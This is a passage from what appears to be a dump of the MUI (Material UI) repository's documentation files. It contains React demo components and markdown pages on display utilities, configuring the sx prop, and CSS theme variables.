    "content": "import Box from '@mui/material/Box';\n\nexport default function Print() {\n  return (\n    <div style={{ width: '100%' }}>\n      <Box\n        sx={{\n          display: 'block',\n          displayPrint: 'none',\n          m: 1,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n        }}\n      >\n        Screen Only (Hide on print only)\n      </Box>\n      <Box\n        sx={{\n          display: 'none',\n          displayPrint: 'block',\n          m: 1,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n        }}\n      >\n        Print Only (Hide on screen only)\n      </Box>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/display/Print.tsx",
    "content": "import Box from '@mui/material/Box';\n\nexport default function Print() {\n  return (\n    <div style={{ width: '100%' }}>\n      <Box\n        sx={{\n          display: 'block',\n          displayPrint: 'none',\n          m: 1,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n        }}\n      >\n        Screen Only (Hide on print only)\n      </Box>\n      <Box\n        sx={{\n          display: 'none',\n          displayPrint: 'block',\n          m: 1,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n        }}\n      >\n        Print Only (Hide on screen only)\n      </Box>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/display/TextOverflow.js",
    "content": "import Box from '@mui/material/Box';\n\nexport default function TextOverflow() {\n  return (\n    <div style={{ width: 200, whiteSpace: 'nowrap' }}>\n      <Box\n        component=\"div\"\n        sx={(theme) => ({\n          textOverflow: 'clip',\n          overflow: 'hidden',\n          my: 2,\n          p: 1,\n          bgcolor: 'grey.100',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        })}\n      >\n        Lorem Ipsum is simply dummy text\n      </Box>\n      <Box\n        component=\"div\"\n        sx={(theme) => ({\n          textOverflow: 'ellipsis',\n          overflow: 'hidden',\n          my: 2,\n          p: 1,\n          bgcolor: 'grey.100',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        })}\n      >\n        Lorem Ipsum is simply dummy text\n      </Box>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/display/TextOverflow.tsx",
    "content": "import Box from '@mui/material/Box';\n\nexport default function TextOverflow() {\n  return (\n    <div style={{ width: 200, whiteSpace: 'nowrap' }}>\n      <Box\n        component=\"div\"\n        sx={(theme) => ({\n          textOverflow: 'clip',\n          overflow: 'hidden',\n          my: 2,\n          p: 1,\n          bgcolor: 'grey.100',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        })}\n      >\n        Lorem Ipsum is simply dummy text\n      </Box>\n      <Box\n        component=\"div\"\n        sx={(theme) => ({\n          textOverflow: 'ellipsis',\n          overflow: 'hidden',\n          my: 2,\n          p: 1,\n          bgcolor: 'grey.100',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        })}\n      >\n        Lorem Ipsum is simply dummy text\n      </Box>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/display/Visibility.js",
    "content": "import Box from '@mui/material/Box';\n\nexport default function Visibility() {\n  return (\n    <div style={{ width: '100%' }}>\n      <Box\n        component=\"span\"\n        sx={(theme) => ({\n          visibility: 'visible',\n          my: 2,\n          p: 1,\n          bgcolor: 'grey.100',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        })}\n      >\n        Visible container\n      </Box>\n      <Box\n        component=\"span\"\n        sx={{ visibility: 'hidden', p: 1, m: 1, bgcolor: 'background.paper' }}\n      >\n        Invisible container\n      </Box>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/display/Visibility.tsx",
    "content": "import Box from '@mui/material/Box';\n\nexport default function Visibility() {\n  return (\n    <div style={{ width: '100%' }}>\n      <Box\n        component=\"span\"\n        sx={(theme) => ({\n          visibility: 'visible',\n          my: 2,\n          p: 1,\n          bgcolor: 'grey.100',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        })}\n      >\n        Visible container\n      </Box>\n      <Box\n        component=\"span\"\n        sx={{ visibility: 'hidden', p: 1, m: 1, bgcolor: 'background.paper' }}\n      >\n        Invisible container\n      </Box>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/display/WhiteSpace.js",
    "content": "import Box from '@mui/material/Box';\n\nexport default function WhiteSpace() {\n  return (\n    <div style={{ width: 200 }}>\n      <Box\n        component=\"div\"\n        sx={(theme) => ({\n          whiteSpace: 'nowrap',\n          overflowX: 'auto',\n          my: 2,\n          p: 1,\n          bgcolor: 'grey.100',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        })}\n      >\n        Lorem Ipsum has been the industry&apos;s standard dummy text ever since the\n        1500s.\n      </Box>\n      <Box\n        component=\"div\"\n        sx={(theme) => ({\n          whiteSpace: 'normal',\n          my: 2,\n          p: 1,\n          bgcolor: 'grey.100',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        })}\n      >\n        Lorem Ipsum has been the industry&apos;s standard dummy text ever since the\n        1500s.\n      </Box>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/display/WhiteSpace.tsx",
    "content": "import Box from '@mui/material/Box';\n\nexport default function WhiteSpace() {\n  return (\n    <div style={{ width: 200 }}>\n      <Box\n        component=\"div\"\n        sx={(theme) => ({\n          whiteSpace: 'nowrap',\n          overflowX: 'auto',\n          my: 2,\n          p: 1,\n          bgcolor: 'grey.100',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        })}\n      >\n        Lorem Ipsum has been the industry&apos;s standard dummy text ever since the\n        1500s.\n      </Box>\n      <Box\n        component=\"div\"\n        sx={(theme) => ({\n          whiteSpace: 'normal',\n          my: 2,\n          p: 1,\n          bgcolor: 'grey.100',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        })}\n      >\n        Lorem Ipsum has been the industry&apos;s standard dummy text ever since the\n        1500s.\n      </Box>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/display/display.md",
    "content": "# Display\n\n<p class=\"description\">Quickly and responsively toggle the display, overflow, visibility, and more with the display utilities.</p>\n\n## Examples\n\n### Inline\n\n{{\"demo\": \"Inline.js\", \"defaultCodeOpen\": false, \"bg\": true}}\n\n```jsx\n<Box component=\"div\" sx={{ display: 'inline' }}>inline</Box>\n<Box component=\"div\" sx={{ display: 'inline' }}>inline</Box>\n```\n\n### Block\n\n{{\"demo\": \"Block.js\", \"defaultCodeOpen\": false, \"bg\": true}}\n\n```jsx\n<Box component=\"span\" sx={{ display: 'block' }}>block</Box>\n<Box component=\"span\" sx={{ display: 'block' }}>block</Box>\n```\n\n## Hiding elements\n\nFor faster mobile-friendly development, use responsive display classes for showing and hiding elements by device. Avoid creating entirely different versions of the same site, instead hide element responsively for each screen size.\n\n| Screen Size        | Class                                                        |\n| :----------------- | :----------------------------------------------------------- |\n| Hidden on all      | `sx={{ display: 'none' }}`                                   |\n| Hidden only on xs  | `sx={{ display: { xs: 'none', sm: 'block' } }}`              |\n| Hidden only on sm  | `sx={{ display: { xs: 'block', sm: 'none', md: 'block' } }}` |\n| Hidden only on md  | `sx={{ display: { xs: 'block', md: 'none', lg: 'block' } }}` |\n| Hidden only on lg  | `sx={{ display: { xs: 'block', lg: 'none', xl: 'block' } }}` |\n| Hidden only on xl  | `sx={{ display: { xs: 'block', xl: 'none' } }}`              |\n| Visible only on xs | `sx={{ display: { xs: 'block', sm: 'none' } }}`              |\n| Visible only on sm | `sx={{ display: { xs: 'none', sm: 'block', md: 'none' } }}`  |\n| Visible only on md | `sx={{ display: { xs: 'none', md: 'block', lg: 'none' } }}`  |\n| Visible only on lg | `sx={{ display: { xs: 'none', lg: 'block', xl: 'none' } }}`  |\n| Visible only on xl | `sx={{ display: { xs: 'none', xl: 'block' } }}`              |\n\n{{\"demo\": \"Hiding.js\", \"defaultCodeOpen\": false}}\n\n```jsx\n<Box sx={{ display: { xs: 'block', md: 'none' }}}>\n  hide on screens wider than md\n</Box>\n<Box sx={{ display: { xs: 'none', md: 'block' }}}>\n  hide on screens smaller than md\n</Box>\n```\n\n## Display in print\n\n{{\"demo\": \"Print.js\", \"defaultCodeOpen\": false}}\n\n```jsx\n<Box sx={{ display: 'block', displayPrint: 'none' }}>\n  Screen Only (Hide on print only)\n</Box>\n<Box sx={{ display: 'none', displayPrint: 'block' }}>\n  Print Only (Hide on screen only)\n</Box>\n```\n\n## Overflow\n\n{{\"demo\": \"Overflow.js\", \"defaultCodeOpen\": false}}\n\n```jsx\n<Box component=\"div\" sx={{ overflow: 'hidden' }}>\n  Not scrollable, overflow is hidden\n</Box>\n<Box component=\"div\" sx={{ overflow: 'auto' }}>\n  Try scrolling this overflow auto box\n</Box>\n```\n\n## Text overflow\n\n{{\"demo\": \"TextOverflow.js\", \"defaultCodeOpen\": false}}\n\n```jsx\n<Box component=\"div\" sx={{ textOverflow: 'clip' }}>\n  Lorem Ipsum is simply dummy text\n</Box>\n<Box component=\"div\" sx={{ textOverflow: 'ellipsis' }}>\n  Lorem Ipsum is simply dummy text\n</Box>\n```\n\n## Visibility\n\n{{\"demo\": \"Visibility.js\", \"defaultCodeOpen\": false}}\n\n```jsx\n<Box component=\"div\" sx={{ visibility: 'visible' }}>\n  Visible container\n</Box>\n<Box component=\"div\" sx={{ visibility: 'hidden' }}>\n  Invisible container\n</Box>\n```\n\n## White space\n\n{{\"demo\": \"WhiteSpace.js\", \"defaultCodeOpen\": false}}\n\n```jsx\n<Box component=\"div\" sx={{ whiteSpace: 'nowrap' }}>\n  Lorem Ipsum has been the industry's standard dummy text ever since the 1500s.\n</Box>\n<Box component=\"div\" sx={{ whiteSpace: 'normal' }}>\n  Lorem Ipsum has been the industry's standard dummy text ever since the 1500s.\n</Box>\n```\n\n## API\n\n```js\nimport { display } from '@mui/system';\n```\n\n| Import name    | Prop           | CSS property    | Theme key |\n| :------------- | :------------- | :-------------- | :-------- |\n| `displayPrint` | `displayPrint` | `display`       | none      |\n| `displayRaw`   | `display`      | `display`       | none      |\n| `overflow`     | `overflow`     | `overflow`      | none      |\n| `textOverflow` | `textOverflow` | `text-overflow` | none      |\n| `visibility`   | `visibility`   | `visibility`    | none      |\n| `whiteSpace`   | `whiteSpace`   | `white-space`   | none      |\n"
  },
  {
    "path": "docs/data/system/experimental-api/configure-the-sx-prop/ChangeTheBehaviorSxProp.js",
    "content": "import Box from '@mui/material/Box';\nimport Stack from '@mui/material/Stack';\nimport { createTheme, ThemeProvider } from '@mui/material/styles';\n\n// Retain type safety.\n\nconst theme = createTheme({\n  unstable_sxConfig: {\n    // You can now use the borderRadius key in sx\n    // by providing direct values from the palette\n    borderRadius: {\n      themeKey: 'shape',\n    },\n  },\n  shape: {\n    sm: 4,\n    md: 8,\n    lg: 12,\n  },\n});\n\nexport default function ChangeTheBehaviorSxProp() {\n  return (\n    <Stack direction=\"row\" sx={{ gap: 1 }}>\n      <ThemeProvider theme={theme}>\n        <Box sx={{ borderRadius: 'sm', border: 1, p: 4 }} />\n        <Box sx={{ borderRadius: 'md', border: 1, p: 4 }} />\n        <Box sx={{ borderRadius: 'lg', border: 1, p: 4 }} />\n      </ThemeProvider>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/experimental-api/configure-the-sx-prop/ChangeTheBehaviorSxProp.tsx",
    "content": "import Box from '@mui/material/Box';\nimport Stack from '@mui/material/Stack';\nimport { createTheme, ThemeProvider } from '@mui/material/styles';\n\n// Retain type safety.\ndeclare module '@mui/system' {\n  interface Shape {\n    sm: number;\n    md: number;\n    lg: number;\n  }\n}\n\nconst theme = createTheme({\n  unstable_sxConfig: {\n    // You can now use the borderRadius key in sx\n    // by providing direct values from the palette\n    borderRadius: {\n      themeKey: 'shape',\n    },\n  },\n  shape: {\n    sm: 4,\n    md: 8,\n    lg: 12,\n  },\n});\n\nexport default function ChangeTheBehaviorSxProp() {\n  return (\n    <Stack direction=\"row\" sx={{ gap: 1 }}>\n      <ThemeProvider theme={theme}>\n        <Box sx={{ borderRadius: 'sm', border: 1, p: 4 }} />\n        <Box sx={{ borderRadius: 'md', border: 1, p: 4 }} />\n        <Box sx={{ borderRadius: 'lg', border: 1, p: 4 }} />\n      </ThemeProvider>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/experimental-api/configure-the-sx-prop/ChangeTheBehaviorSxProp.tsx.preview",
    "content": "<ThemeProvider theme={theme}>\n  <Box sx={{ borderRadius: 'sm', border: 1, p: 4 }} />\n  <Box sx={{ borderRadius: 'md', border: 1, p: 4 }} />\n  <Box sx={{ borderRadius: 'lg', border: 1, p: 4 }} />\n</ThemeProvider>"
  },
  {
    "path": "docs/data/system/experimental-api/configure-the-sx-prop/ExtendTheSxProp.js",
    "content": "import { Box, handleBreakpoints } from '@mui/system';\nimport { createTheme, ThemeProvider } from '@mui/material/styles';\n\nconst customTheme = createTheme({\n  unstable_sxConfig: {\n    size: {\n      style: (props) => {\n        const { size, theme } = props;\n\n        const styleFromPropValue = (propValueFinal) => {\n          const value = theme.spacing(propValueFinal);\n\n          return {\n            width: value,\n            height: value,\n          };\n        };\n\n        // Adding support for the breakpoints syntax\n        return handleBreakpoints(props, size, styleFromPropValue);\n      },\n    },\n  },\n});\n\nexport default function ExtendTheSxProp() {\n  return (\n    <ThemeProvider theme={customTheme}>\n      <Box sx={{ size: 10, border: 1 }} />\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/experimental-api/configure-the-sx-prop/ExtendTheSxProp.tsx",
    "content": "import { Box, handleBreakpoints } from '@mui/system';\nimport { createTheme, ThemeProvider } from '@mui/material/styles';\n\nconst customTheme = createTheme({\n  unstable_sxConfig: {\n    size: {\n      style: (props) => {\n        const { size, theme } = props;\n\n        const styleFromPropValue = (propValueFinal: number) => {\n          const value = theme.spacing(propValueFinal);\n\n          return {\n            width: value,\n            height: value,\n          };\n        };\n\n        // Adding support for the breakpoints syntax\n        return handleBreakpoints(props, size, styleFromPropValue);\n      },\n    },\n  },\n});\n\nexport default function ExtendTheSxProp() {\n  return (\n    <ThemeProvider theme={customTheme}>\n      <Box sx={{ size: 10, border: 1 }} />\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/experimental-api/configure-the-sx-prop/ExtendTheSxProp.tsx.preview",
    "content": "<ThemeProvider theme={customTheme}>\n  <Box sx={{ size: 10, border: 1 }} />\n</ThemeProvider>"
  },
  {
    "path": "docs/data/system/experimental-api/configure-the-sx-prop/configure-the-sx-prop.md",
    "content": "# Configure the sx prop\n\n<p class=\"description\">Learn about the experimental API for extending or changing the behavior of the sx prop.</p>\n\n## Extend the sx prop\n\nYou can add new keys to be processed by the `sx` prop by extending the `unstable_sxConfig` option inside the theme, as shown below:\n\n{{\"demo\": \"ExtendTheSxProp.js\"}}\n\n## Override existing behavior\n\nIt is also possible to change some of the existing behavior of the `sx` prop.\nFor example, in some design systems, the border radiuses need to be restricted to specific values, instead of allowing any number to be used—as is the default with MUI System.\nYou can change this behavior by providing a custom config for the `borderRadius` property:\n\n{{\"demo\": \"ChangeTheBehaviorSxProp.js\"}}\n\n## API\n\nEach value of the config inside `unstable_sxConfig` accepts the following properties:\n\n- `cssProperty` (_string_ [optional]): Indicates the CSS property, if it is different than the key\n- `themeKey` (_string_ [optional]): The path of the theme mapping\n- `transform` (_(cssValue: unknown, userValue: unknown) => number | string | React.CSSProperties | CSSObject_ [optional]): Lets users define a function that can transform the value before it's returned\n- `style` (_(props: any) => CSSObject_ [optional]): Offers maximum customizability. Note that you need to make sure that the breakpoint values can be processed\n"
  },
  {
    "path": "docs/data/system/experimental-api/css-theme-variables/CreateCssVarsProvider.js",
    "content": "import * as React from 'react';\nimport {\n  unstable_createCssVarsProvider as createCssVarsProvider,\n  unstable_prepareCssVars as prepareCssVars,\n  styled,\n} from '@mui/system';\n\nconst lightColorScheme = {\n  palette: {\n    mode: 'light',\n    primary: {\n      default: '#3990FF',\n      dark: '#02367D',\n    },\n    text: {\n      default: '#111111',\n    },\n    // ... other colors\n  },\n};\n\nconst darkColorScheme = {\n  palette: {\n    mode: 'dark',\n    primary: {\n      default: '#265D97',\n      dark: '#132F4C',\n      main: '#5090D3',\n    },\n    text: {\n      default: '#ffffff',\n    },\n    // ... other colors\n  },\n};\n\nfunction extendTheme({ cssVarPrefix = 'system-demo' } = {}) {\n  const colorSchemeSelector = 'data-system-demo-color-scheme';\n  const { vars: themeVars, ...params } = prepareCssVars(\n    {\n      colorSchemes: {\n        light: lightColorScheme,\n        dark: darkColorScheme,\n      },\n    },\n    {\n      prefix: cssVarPrefix,\n      colorSchemeSelector,\n    },\n  );\n  const theme = {\n    colorSchemeSelector,\n    colorSchemes: {\n      light: lightColorScheme,\n      dark: darkColorScheme,\n    },\n    // ... any other objects independent of color-scheme,\n    // like fontSizes, spacing etc\n    vars: themeVars,\n    palette: {\n      ...lightColorScheme.palette,\n      colorScheme: 'light',\n    },\n    ...params,\n  };\n\n  return theme;\n}\n\nconst myCustomDefaultTheme = extendTheme();\n\nconst { CssVarsProvider, useColorScheme } = createCssVarsProvider({\n  theme: myCustomDefaultTheme,\n  modeStorageKey: 'system-demo-mode',\n  defaultColorScheme: {\n    light: 'light',\n    dark: 'dark',\n  },\n});\n\nconst Button = styled('button')(({ theme }) => ({\n  backgroundColor: theme.vars.palette.primary.default,\n  border: `1px solid ${theme.vars.palette.primary.dark}`,\n  color: theme.vars.palette.text.default,\n  padding: 10,\n  borderRadius: 5,\n  fontWeight: 'bold',\n}));\n\nconst WrapperDiv = styled('div')(({ theme }) => ({\n  width: '100%',\n  minHeight: 100,\n  padding: 20,\n  color: theme.vars.palette.text.default,\n  backgroundColor: '#fff',\n  '[data-system-demo-color-scheme=\"dark\"] &': {\n    backgroundColor: '#111',\n  },\n}));\n\nfunction App() {\n  // changes specific to this demo.\n  const [shouldRender, setShouldRender] = React.useState(false);\n  const { setMode, mode } = useColorScheme();\n  const toggleMode = () => {\n    setMode(mode === 'dark' ? 'light' : 'dark');\n  };\n\n  // to avoid hydration error in demo. unrelated to the actual implementation\n  React.useEffect(() => {\n    setShouldRender(true);\n  }, []);\n\n  if (!shouldRender) {\n    return null;\n  }\n\n  return (\n    <WrapperDiv className=\"App\">\n      <div className=\"card\">\n        <h2>Current mode: {mode}</h2>\n        <Button type=\"button\" onClick={toggleMode}>\n          Toggle Mode\n        </Button>\n      </div>\n    </WrapperDiv>\n  );\n}\n\nexport default function CreateCssVarsProvider() {\n  return (\n    <CssVarsProvider>\n      <App />\n    </CssVarsProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/experimental-api/css-theme-variables/CreateCssVarsProvider.tsx",
    "content": "import * as React from 'react';\nimport {\n  unstable_createCssVarsProvider as createCssVarsProvider,\n  unstable_prepareCssVars as prepareCssVars,\n  styled,\n} from '@mui/system';\n\ntype Theme = {\n  colorSchemes: {\n    light: typeof lightColorScheme;\n    dark: typeof lightColorScheme;\n  };\n  palette: {\n    colorScheme: 'light' | 'dark';\n  } & (typeof lightColorScheme)['palette'];\n} & ReturnType<typeof prepareCssVars>;\n\nconst lightColorScheme = {\n  palette: {\n    mode: 'light',\n    primary: {\n      default: '#3990FF',\n      dark: '#02367D',\n    },\n    text: {\n      default: '#111111',\n    },\n    // ... other colors\n  },\n};\n\nconst darkColorScheme = {\n  palette: {\n    mode: 'dark',\n    primary: {\n      default: '#265D97',\n      dark: '#132F4C',\n      main: '#5090D3',\n    },\n    text: {\n      default: '#ffffff',\n    },\n    // ... other colors\n  },\n};\n\nfunction extendTheme({ cssVarPrefix = 'system-demo' } = {}) {\n  const colorSchemeSelector = 'data-system-demo-color-scheme';\n  const { vars: themeVars, ...params } = prepareCssVars(\n    {\n      colorSchemes: {\n        light: lightColorScheme,\n        dark: darkColorScheme,\n      },\n    },\n    {\n      prefix: cssVarPrefix,\n      colorSchemeSelector,\n    },\n  );\n  const theme: Theme & { colorSchemeSelector: string } = {\n    colorSchemeSelector,\n    colorSchemes: {\n      light: lightColorScheme,\n      dark: darkColorScheme,\n    },\n    // ... any other objects independent of color-scheme,\n    // like fontSizes, spacing etc\n    vars: themeVars,\n    palette: {\n      ...lightColorScheme.palette,\n      colorScheme: 'light',\n    },\n    ...params,\n  };\n\n  return theme;\n}\n\nconst myCustomDefaultTheme = extendTheme();\n\nconst { CssVarsProvider, useColorScheme } = createCssVarsProvider({\n  theme: myCustomDefaultTheme,\n  modeStorageKey: 'system-demo-mode',\n  defaultColorScheme: {\n    light: 'light',\n    dark: 'dark',\n  },\n});\n\nconst Button = styled('button')<{ theme?: Theme }>(({ theme }) => ({\n  backgroundColor: theme.vars.palette.primary.default,\n  border: `1px solid ${theme.vars.palette.primary.dark}`,\n  color: theme.vars.palette.text.default,\n  padding: 10,\n  borderRadius: 5,\n  fontWeight: 'bold',\n}));\n\nconst WrapperDiv = styled('div')<{ theme?: Theme }>(({ theme }) => ({\n  width: '100%',\n  minHeight: 100,\n  padding: 20,\n  color: theme.vars.palette.text.default,\n  backgroundColor: '#fff',\n  '[data-system-demo-color-scheme=\"dark\"] &': {\n    backgroundColor: '#111',\n  },\n}));\n\nfunction App() {\n  // changes specific to this demo.\n  const [shouldRender, setShouldRender] = React.useState(false);\n  const { setMode, mode } = useColorScheme();\n  const toggleMode = () => {\n    setMode(mode === 'dark' ? 'light' : 'dark');\n  };\n\n  // to avoid hydration error in demo. unrelated to the actual implementation\n  React.useEffect(() => {\n    setShouldRender(true);\n  }, []);\n\n  if (!shouldRender) {\n    return null;\n  }\n\n  return (\n    <WrapperDiv className=\"App\">\n      <div className=\"card\">\n        <h2>Current mode: {mode}</h2>\n        <Button type=\"button\" onClick={toggleMode}>\n          Toggle Mode\n        </Button>\n      </div>\n    </WrapperDiv>\n  );\n}\n\nexport default function CreateCssVarsProvider() {\n  return (\n    <CssVarsProvider>\n      <App />\n    </CssVarsProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/experimental-api/css-theme-variables/CreateCssVarsProvider.tsx.preview",
    "content": "<CssVarsProvider>\n  <App />\n</CssVarsProvider>"
  },
  {
    "path": "docs/data/system/experimental-api/css-theme-variables/css-theme-variables.md",
    "content": "# CSS theme variables\n\n<p class=\"description\">An overview of adopting CSS theme variables in Material UI or Joy UI.</p>\n\n[CSS variables](https://www.w3.org/TR/css-variables-1/) are a modern cross-browser feature that let you declare variables in CSS and reuse them in other properties.\n\n:::info\nIf this is your first time encountering CSS variables, you should check out [the MDN Web Docs on CSS custom properties](https://developer.mozilla.org/en-US/docs/Web/CSS/Guides/Cascading_variables/Using_custom_properties) before continuing here.\n:::\n\n## Introduction\n\nCSS theme variable support is a new feature in MUI System added in [`v5.0.5`](https://github.com/mui/material-ui/releases/tag/v5.0.5) as an experimental export. It tells the underlying Material UI, Joy UI or even custom UI library components to use the generated CSS theme variables instead of raw values. This provides significant improvements in developer experience related to theming and customization.\nWith these variables, you can inject a theme into your app's stylesheet _at build time_ to apply the user's selected settings before the whole app is rendered.\nLearn more about the [advantages](/material-ui/customization/css-theme-variables/overview/#advantages) and [trade-offs](/material-ui/customization/css-theme-variables/overview/#trade-offs) of using CSS theme variables.\n\n### Advantages\n\n- It lets you prevent [dark-mode SSR flickering](https://github.com/mui/material-ui/issues/27651).\n- You can create unlimited color schemes beyond `light` and `dark`.\n- It offers a better debugging experience not only for developers but also designers on your team.\n- The color scheme of your website is automatically synced between browser tabs.\n- It simplifies integration with third-party tools because CSS theme variables are available globally.\n- It reduces the need for a nested theme when you want to apply dark styles to a specific part of your application.\n\n## Trade-offs\n\nFor server-side applications, there are some trade-offs to consider:\n\n|                                                              | Compare to the default method | Reason                                                                                                         |\n| :----------------------------------------------------------- | :---------------------------- | :------------------------------------------------------------------------------------------------------------- |\n| HTML size                                                    | Bigger                        | CSS variables are generated for both light and dark mode at build time.                                        |\n| [First Contentful Paint (FCP)](https://web.dev/articles/fcp) | Longer                        | Since the HTML size is bigger, the time to download the HTML before showing the content is bit longer.         |\n| [Time to Interactive (TTI)](https://web.dev/articles/tti)    | Shorter (for dark mode)       | Stylesheets are not regenerated between light and dark mode, a lot less time is spent running JavaScript code. |\n\n:::warning\nThe comparison described in the table above may not be applicable to large and complex applications since there are so many factors that can impact performance metrics.\n:::\n\n## Usage\n\nThe CSS variables API usage is exposed as a higher order function called `unstable_createCssVarsProvider` which can be called to create a theme provider and other utilities to share the theme config throughout your app. This is a very low-level function and has a lot of moving parts.\nIf you're using [Material UI](/material-ui/customization/css-theme-variables/overview/) or [Joy UI](/joy-ui/customization/using-css-variables/), they expose their own `CssVarsProvider` component that you can use directly without configuring your theme.\n\nWe'll first define a minimal theme palette for light and dark modes.\n\n```js\n// extendTheme.js\nimport {\n  unstable_createGetCssVar as systemCreateGetCssVar,\n  unstable_prepareCssVars as prepareCssVars,\n} from '@mui/system';\n\nconst lightColorScheme = {\n  palette: {\n    mode: 'light',\n    primary: {\n      default: '#3990FF',\n      dark: '#02367D',\n    },\n    text: {\n      default: '#111111',\n    },\n    // ... other colors\n  },\n};\n\nconst darkColorScheme = {\n  palette: {\n    mode: 'dark',\n    primary: {\n      default: '#265D97',\n      dark: '#132F4C',\n      main: '#5090D3',\n    },\n    text: {\n      default: '#ffffff',\n    },\n    // ... other colors\n  },\n};\n\nconst createGetCssVar = (cssVarPrefix = 'my-app') =>\n  systemCreateGetCssVar(cssVarPrefix);\n\nfunction extendTheme({ cssVarPrefix = 'my-app' } = {}) {\n  const getCssVar = createGetCssVar(cssVarPrefix);\n  const theme = {\n    colorSchemes: {\n      light: lightColorScheme,\n      dark: darkColorScheme,\n    },\n    // ... any other objects independent of color-scheme,\n    // like fontSizes, spacing tokens, etc\n  };\n\n  const { vars: themeVars, generateCssVars } = prepareCssVars(\n    { colorSchemes: theme.colorSchemes },\n    {\n      prefix: cssVarPrefix,\n    },\n  );\n  theme.vars = themeVars;\n  theme.generateCssVars = generateCssVars;\n  theme.palette = {\n    ...theme.colorSchemes.light.palette,\n    colorScheme: 'light',\n  };\n\n  return theme;\n}\n\nconst myCustomDefaultTheme = extendTheme();\n\nexport default myCustomDefaultTheme;\n```\n\nHere, the returned `theme` object needs to follow a certain structure to be used correctly by the final `CssVarsProvider`. It should have a `colorSchemes` key with the light and dark (and any other) palette. `prepareCssVars` import from `@mui/system` is used to create CSS variable names which can then be easily accessed using the returned `vars`. This is also added to the `theme` object. Finally, `myCustomDefaultTheme` theme object is created that can now be passed to the `createCssVarsProvider` to get a `CssVarsProvider`.\n\n```js\n// CssVarsProvider.js\nimport { unstable_createCssVarsProvider as createCssVarsProvider } from '@mui/system';\n\nconst { CssVarsProvider, useColorScheme } = createCssVarsProvider({\n  defaultColorScheme: {\n    light: 'light',\n    dark: 'dark',\n  },\n  theme: myCustomDefaultTheme,\n});\n\nexport { CssVarsProvider, useColorScheme };\n```\n\nNow wrap your top level app component with this `CssVarsProvider` component and then you can access the passed theme value to any of the components rendered inside the provider.\n\nExample of a component using the CSS variable -\n\n```js\n// Button.js\nimport { styled } from '@mui/system';\n\nconst Button = styled('button')(({ theme }) => ({\n  backgroundColor: theme.vars.palette.primary.default,\n  border: `1px solid ${theme.vars.palette.primary.dark}`,\n  color: theme.vars.palette.text.default,\n}));\n\nexport default Button;\n```\n\nThe hook, `useColorScheme` can be used to get the current `mode` (light or dark) and can also update the mode like:\n\n```js\n// App.js\nfunction App() {\n  const { setMode, mode } = useColorScheme();\n  const toggleMode = () => {\n    setMode(mode === 'dark' ? 'light' : 'dark');\n  };\n\n  return (\n    <div>\n      <h1>Current Mode: {mode}</h1>\n      <Button onClick={toggleMode}>Toggle Mode</Button>\n    </div>\n  